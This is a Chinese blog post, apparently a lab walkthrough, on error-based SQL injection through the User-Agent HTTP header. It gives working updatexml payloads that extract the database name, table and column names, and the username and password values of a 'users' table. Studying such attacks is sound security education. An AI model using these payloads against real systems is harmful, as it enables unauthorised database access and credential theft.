报错注入——HTTP头型

报错注入——HTTP头型

0.前言

  由于后台开发人员有时为了能够验证客户端登录的相关信息(比如网页的Cookie值验证)或者通过HTTP头用相关函数(SERVER)获取客户端的一些信息(比如QQ的登录定位等)

  由于HTTP所使用的函数语句存在变量传送至数据库当中并使用了SQL语句进行处理,从而导致了SQL注入有机可乘

1
2
3
4
#$_SERVER详解
$_SERVER['HTTP_ACCEPT_LANGUAGE'] //浏览器语言
$_SERVER['REMOTE_ADDR'] //当前用户 IP
#其余的相关内容可以参考网站:https://www.cainiaoxueyuan.com/bc/9910.html

  

1.查看界面

  登录界面与提示:

  登录出现错误画面:

2.正确登录

  查看提示显示,给了我们登录的账号和密码,登入:

3.报文分析3

  在上面的内容中,我们可以看见,当登录成功后,反馈出了我们的ip地址、使用浏览器类型和相关的端口等信息,这明显涉及到了之前在请求注入类型中的http头类型,在反馈的浏览器类型中加入单引号查看是否存在注入点:

1
Chrome/99.0.4844.51 Safari/537.36 '

  通过反馈的内容提示可以看见(have an error in your SQL syntax),这说明存在SQL注入的漏洞,由于没有回显位置,所以尝试采用报错注入。

4.使用updatexml函数获取数据库名

1
' or (updatexml(1,concat(0x7e,database(),0x7e),1))or'

  注入方式依旧是updatexml老方法

  

5.获取数据库表名

1
'or(updatexml(0x7e,concat(0x7e,(select(group_concat(table_name)) from (information_schema.tables)where(table_schema)like(database())),0x7e),0x7e))or'

  经典不够长,继续使用substr,其实limit也能用(但是我懒得重新写语句了)

1
' or (updatexml(1,concat(0x7e,substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),32,31),0x7e),1)) or'

6.获取表

1
'  or (updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('users')),0x7e),1))or'
1
' or (updatexml(1,concat(0x7e,substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)like('users')),32,32),0x7e),1))or'

7.获取表中的内容

1
' or (updatexml(1,concat(0x7e,(select(group_concat(username))from(users)),0x7e),1))or'
1
' or (updatexml(1,concat(0x7e,(select(group_concat(password))from(users)),0x7e),1))or'

8.解码

  “MD5的码,请阅读SQL——数字型”

9.总结

  对于报错注入的三种类型演示就结束 了,接下来将是布尔类型和时间类型的注入了,在报错注入的学习中,还是有疑问的,比如在HTTP头中,为什么注入语句在内容前面能够注入成功,在内容的后面反而提示数据类型错误,还没想明白,很多博客上只说能注入就没了,说和前面的报错注入一样,我觉得是肤浅的,对于不同的类型而言,肯定有新的东西和应该注意的地方

  以及应该有注意到,在前面的update类型中,用or的注入不成功,用and却成功了,这在逻辑上我无法理解,但是总归是试出来了,看来还有很长的路要去走呀!


报错注入——HTTP头型
https://one-null-pointer.github.io/2022/08/15/SQL注入——HTTP头型/
Author
liaoyue
Posted on
August 15, 2022
传送口